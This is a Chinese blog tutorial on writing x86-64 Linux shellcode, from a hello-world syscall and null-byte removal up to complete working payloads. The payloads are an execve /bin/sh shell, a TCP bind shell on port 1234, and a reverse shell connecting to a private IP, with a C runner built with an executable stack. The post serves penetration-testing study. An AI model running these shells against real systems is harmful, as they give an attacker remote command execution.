前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Linux下Shellcode编写

Linux下Shellcode编写

作者头像
yichen
发布2022-01-06 21:18:29
2.1K0
发布2022-01-06 21:18:29
举报

学习自:《Penetration Testing with Shellcode》

基本过程是首先使用汇编通过系统调用的方式实现程序功能,编译成可执行文件,然后使用 objdump 进行机器码提取

Hello World

先看一个汇编通过系统调用写 Hello World 的例子

要输出一个 hello world,可以通过 write 函数来实现,通过下面的方法查找 write 函数的系统调用号,我用的 ubuntu 16.04 是这俩文件(找出来的是十进制的)

cat /usr/include/asm/unistd_32.h | grep write

cat /usr/include/asm/unistd_64.h | grep write

代码语言:javascript
复制
#define __NR_write 1
#define __NR_pwrite64 18
#define __NR_writev 20
#define __NR_pwritev 296
#define __NR_process_vm_writev 311

rax 是存放系统调用号的,这里就应该是 1

使用 man 2 write 可以找到 write 函数的参数

ssize_t write(int fd, const void *buf, size_t count);

第一个参数是三种输出模式

0

1

2

stdin

stdout

stderr

标准输入

标准输出

标准错误

第二个参数是字符串的指针,第三个参数是输出的字数,而 64 位的程序,寄存器传参:rdi, rsi, rdx, rcx, r8, r9 剩下的才用栈,所以 rdi 应该是 1,rsi 应该是字符串的地址,rdx 应该是长度

代码语言:javascript
复制
global _start
section .text
_start:
   mov rax, 1               ;设置rax寄存器为write的系统调用号
   mov rdi, 1               ;设置rdi为write的第一个参数
   mov rsi, hello_world     ;设置rsi为write的第二个参数
   mov rdx, length          ;设置rdx为write的第三个参数
   syscall                  ;调用syscall
section .data
   hello_world: db 'hello world',0xa       ;字符串hello world以及换行
   length: equ $-hello_world               ;获取字符串长度

把代码保存为 hello-world.asm 然后汇编、链接,应该会这样显示:

代码语言:javascript
复制
yichen@ubuntu:~$ nasm -felf64 hello-world.asm -o hello-world.o
yichen@ubuntu:~$ ld hello-world.o -o hello-world
yichen@ubuntu:~$ ./hello-world
hello world
段错误 (核心已转储)

因为我们还没有让他正常退出,可以在后面 exit 的 syscall,让他正常退出即可

代码语言:javascript
复制
mov rax,60
mov rdi,0
syscall

使用 objdump 提取 shellcode,这一长串的魔法般的正则我就不解释了我也不会

代码语言:javascript
复制
yichen@ubuntu:~$ objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\\x/g' | paste -d '' -s
\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a

在 C 语言中使用 shellcode:

代码语言:javascript
复制
#include<stdio.h>
#include<string.h>
unsigned char code[]="\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x48\xbe\xd8\x00\x60\x00\x00\x00\x00\x00\xba\x0c\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0a";

int main(){
 printf("shellcode length:%d\n",(int)strlen(code));
 int (*ret)()=(int(*)())code;
 ret();
}

编译的时候需要关掉栈不可执行,当你去执行的时候会发现出错了

代码语言:javascript
复制
yichen@ubuntu:~$ gcc -z execstack -o test 1.c
yichen@ubuntu:~$ ./test
shellcode length:2
t

因为 shellcode 中存在一些 \x00,我们称为:bad character,它会使字符串截断,就没有后面什么事情了,所以要想办法消除这些 bad character

bad character 列表

00

\0

null

0A

\n

回车换行

FF

\f

换页

0D

\r

回车

消除bad character

来看一下这些 bad character 是怎么形成的

代码语言:javascript
复制
yichen@ubuntu:~$ objdump -d -M intel hello-world
hello-world:     文件格式 elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
  4000b0: b8 01 00 00 00        mov    eax,0x1
  4000b5: bf 01 00 00 00        mov    edi,0x1
  4000ba: 48 be d8 00 60 00 00  movabs rsi,0x6000d8
  4000c1: 00 00 00 
  4000c4: ba 0c 00 00 00        mov    edx,0xc
  4000c9: 0f 05                 syscall 
  4000cb: b8 3c 00 00 00        mov    eax,0x3c
  4000d0: bf 00 00 00 00        mov    edi,0x0
  4000d5: 0f 05                 syscall 

针对这种的 mov eax,0x1,可以使用对寄存器的一部分赋值实现,比如:mov al,0x1

还可以通过 xor rax,rax 先把 rax 置为 0,然后 add rax,0x1 实现

看一下效果:5、6、7 行已经没有 bad character 了

代码语言:javascript
复制
yichen@ubuntu:~$ objdump -d -M intel hello-world
hello-world:     文件格式 elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
  4000b0: b0 01                 mov    al,0x1
  4000b2: 48 31 ff              xor    rdi,rdi
  4000b5: 48 83 c7 01           add    rdi,0x1
  4000b9: 48 be d8 00 60 00 00  movabs rsi,0x6000d8
  4000c0: 00 00 00 
  4000c3: ba 0c 00 00 00        mov    edx,0xc
  4000c8: 0f 05                 syscall 
  4000ca: b8 3c 00 00 00        mov    eax,0x3c
  4000cf: bf 00 00 00 00        mov    edi,0x0
  4000d4: 0f 05                 syscall 

还有就是地址的问题,下面有几种方法解决:

relative address technique

通过 rel 相对 RIP 偏移找到变量的位置,等到程序执行的时候会使用 rip 减去与 hello_world 的差值,从而获得 hello_world 在内存中的位置

代码语言:javascript
复制
global _start
section .text

_start:
 jmp code
 hello_world:db 'hello world',0xa
 
code:
 mov al,1
 xor rdi,rdi
 add rdi,1
 lea rsi,[rel hello_world]
 xor rdx,rdx
 add rdx,12
 syscall

 xor rax,rax
 add rax,60
 xor rdi,rdi
 syscall

jmp-call technique

通过在字符串前面 call 把字符串的地址压栈,然后 pop 获取

代码语言:javascript
复制
global _start
section .text

_start:
 jmp string          ;首先会跳转到 string 
 
code:
 pop rsi             ;此时可以把压在栈上的hello_world的地址获取到
 mov al,1
 xor rdi,rdi
 add rdi,1
 xor rdx,rdx
 add rdx,12
 syscall

 xor rax,rax
 add rax,60
 xor rdi,rdi
 syscall
 
string:
 call code          ;call会把返回地址压栈,然后执行code的代码
 hello_world:db 'hello world',0xa

stack technique

借助栈来存放,需要提前设置好字符串的十六进制逆序,用python的string[::-1].encode('hex')

代码语言:javascript
复制
>>> string = "hello world\n"
>>> string[::-1].encode('hex')
'0a646c726f77206f6c6c6568'

把需要的内容放在栈上,通过 rsp 来获得指向内容的指针

代码语言:javascript
复制
global _start
section .text

_start:

 xor rax,rax
 add rax,1
 mov rdi,rax
 push 0x0a646c72
 mov rbx,0x6f77206f6c6c6568
 push rbx
 mov rsi,rsp        ;rsp就是栈顶的地址,也就是字符串在栈上的地址
 xor rdx,rdx
 add rdx,12
 syscall

 xor rax,rax
 add rax,60
 xor rdi,rdi
 syscall

用execve写个shell

学会了这些基本的消除 bad character 的方法之后来写个真正的 shellcode 试试,

一个可以获得 shell 的 C 语言代码如下

代码语言:javascript
复制
char *const argv[]={"/bin/sh",NULL};
execve("/bin/sh",argv,NULL);

想办法放到对应的寄存器就行,/bin/sh 参数用 python 生成逆序的十六进制,这里多加一个 / 用来占空,防止出现 0x00

代码语言:javascript
复制
>>> string = "//bin/sh"
>>> string[::-1].encode('hex')
'68732f6e69622f2f'

一开始往栈上压入一个 0x00,用来截断 /bin/sh,顺便把第三个参数 rdx 的 NULL 设置好

xor rax,rax

push rax

mov rdx,rsp

用 stack technique 把这个参数压到栈上,然后给 rsp 这样就设置好了第一个参数

mov rbx,0x68732f6e69622f2f

push rbx

mov rdi,rsp

第二个参数是一个指针,所以把 rdi 压栈,获取到指针

push rax ;这里再次 push 的 rax 作为截断

push rdi

mov rsi,rsp

以及系统调用号是 59,最后加一个 syscall

add rax,59

syscall

把提取的 shellcode 放到之前的代码中编译~

代码语言:javascript
复制
yichen@ubuntu:~$ gcc -z execstack -o test 1.c
yichen@ubuntu:~$ ./test
shellcode length:32
$ whoami
yichen

TCP bind shell

靶机开启一个端口监听,等待我们去连接,这样的方式容易被防火墙阻断和记录,C 语言代码如下:

代码语言:javascript
复制
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
 int clientfd, sockfd;
 int port = 1234;  //设置绑定的端口
 struct sockaddr_in mysockaddr;
 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 mysockaddr.sin_family = AF_INET;
 mysockaddr.sin_port = htons(port);
 mysockaddr.sin_addr.s_addr = INADDR_ANY;
 bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
 listen(sockfd, 1);
 clientfd = accept(sockfd, NULL, NULL);
 dup2(clientfd, 0);
 dup2(clientfd, 1);
 dup2(clientfd, 2);
 char * const argv[] = {"sh",NULL, NULL};
 execve("/bin/sh", argv, NULL);
 return 0;
}

接下来使用 syscall 依次实现这个程序,查找 socket 的系统调用号是 41

代码语言:javascript
复制
xor rax,rax
add rax,41
xor rdi,rdi
add rdi,2      ;AF_INET用2表示
xor rsi,rsi
inc rsi        ;SOCK_STREAM用1表示
xor rdx,rdx    ;第三个参数为0
syscall

函数调用返回值保存在 RAX 寄存器,bind 函数用 sockfd 做参数,可以直接用mov rdi,rax

接下来填充 bind 函数的第二个参数 mysockaddr 结构体,因为后面 bind 调用的时候用的是指针,所以可以压到栈上去,然后拿到指针。应该怎么填充?可以使用 GDB 调试看一下 C 语言程序内存的值(gcc 加上 -g 参数可以直接 b 15 断在代码的第 15 行)

代码语言:javascript
复制
Breakpoint 1, main () at 1.c:15
15  bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
gdb-peda$ p &mysockaddr
$1 = (struct sockaddr_in *) 0x7fffffffdd30
gdb-peda$ p mysockaddr
$2 = {
  sin_family = 0x2, 
  sin_port = 0xd204, 
  sin_addr = {
    s_addr = 0x0
  }, 
  sin_zero = "\000\000\000\000\000\000\000"
}
gdb-peda$ x/4gx 0x7fffffffdd30
0x7fffffffdd30: 0x00000000d2040002 0x0000000000000000
0x7fffffffdd40: 0x0000000000400850 0x0000000000400650

可以看到显示的是:两个字节的 sin_family,两个字节的 sin_port,以及八个字节的 sin_addr.s_addr,又因为栈的增长方向是从高地址往低地址的,所以要倒着写

代码语言:javascript
复制
xor rax, rax
push rax             ;sin_addr.s_addr
push word 0xd204     ;sin_port
push word 0x02       ;sin_family
mov rsi, rsp

其中 sin_port 的值这样得出来:

代码语言:javascript
复制
>>> import socket
>>> hex(socket.htons(1234))
'0xd204'

构造完成 mysockaddr 结构体后,查找 bind 的调用号是 49,调用

代码语言:javascript
复制
xor rdx, rdx
add rdx, 16        ;bind的第三个参数
xor rax, rax
add rax, 49
syscall

然后是 listen 函数,因为第一个参数还是 rdi 的 sockfd 所以省去一步

代码语言:javascript
复制
xor rax, rax
add rax, 50
xor rsi , rsi
inc rsi
syscall

accept 函数

代码语言:javascript
复制
xor rax , rax
add rax, 43
xor rsi, rsi
xor rdx, rdx
syscall

accept 函数的返回值在 rax,直接给 dup2 函数用

代码语言:javascript
复制
mov rdi, rax
xor rax,rax
add rax, 33
xor rsi, rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall
xor rax,rax
add rax, 33
inc rsi
syscall

execve函数直接用上面的就可以了

代码语言:javascript
复制
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall

提取出 shellcode 后放到上面的模板上,编译好运行,通过 netstat -ntlp 可以看到 1234 端口开放,然后 nc 127.0.0.1 1234 就可以获得 shell 了

Reverse TCP shell

这种方法是我们首先在自己的机器上监听一个端口,然后让靶机访问我们,这样不会被防火墙拦截。先看看 C 语言的代码

代码语言:javascript
复制
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
 int sockfd;
 int port = 1234;
 struct sockaddr_in mysockaddr;
 sockfd = socket(AF_INET, SOCK_STREAM, 0);
 mysockaddr.sin_family = AF_INET;
 mysockaddr.sin_port = htons(port);
 mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
 connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
 dup2(sockfd, 0);
 dup2(sockfd, 1);
 dup2(sockfd, 2);
 char * const argv[] = {"/bin/sh", NULL};
 execve("/bin/sh", argv, NULL);
 return 0;
}

基本差不多,socket 函数

代码语言:javascript
复制
xor rax, rax
add rax, 41
xor rdi, rdi
add rdi, 2      ;AF_INET用2表示
xor rsi, rsi
inc rsi        ;SOCK_STREAM用1表示
xor rdx, rdx    ;第三个参数为0
syscall

填充 mysockaddr 结构体,IP 地址的十六进制形式这样获得,也就是 0x01e8a8c0

代码语言:javascript
复制
>>> import socket
>>> socket.inet_aton('192.168.232.1')[::-1]
'\x01\xe8\xa8\xc0'
代码语言:javascript
复制
mov rdi, rax                ;sockfd
xor rax, rax
push dword 0x01e8a8c0      ;sin_addr.s_addr
push word 0xd204           ;sin_port
push word 0x02             ;sin_family
mov rsi, rsp
xor rdx, rdx
add rdx, 16
xor rax, rax
add rax, 42
syscall

三个 dup2

代码语言:javascript
复制
xor rax, rax
add rax, 33
xor rsi, rsi
syscall
xor rax, rax
add rax, 33
inc rsi
syscall
xor rax, rax
add rax, 33
inc rsi
syscall

execve

代码语言:javascript
复制
xor rax, rax
push rax
mov rdx, rsp
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi,rsp
add rax, 59
syscall
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-01-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档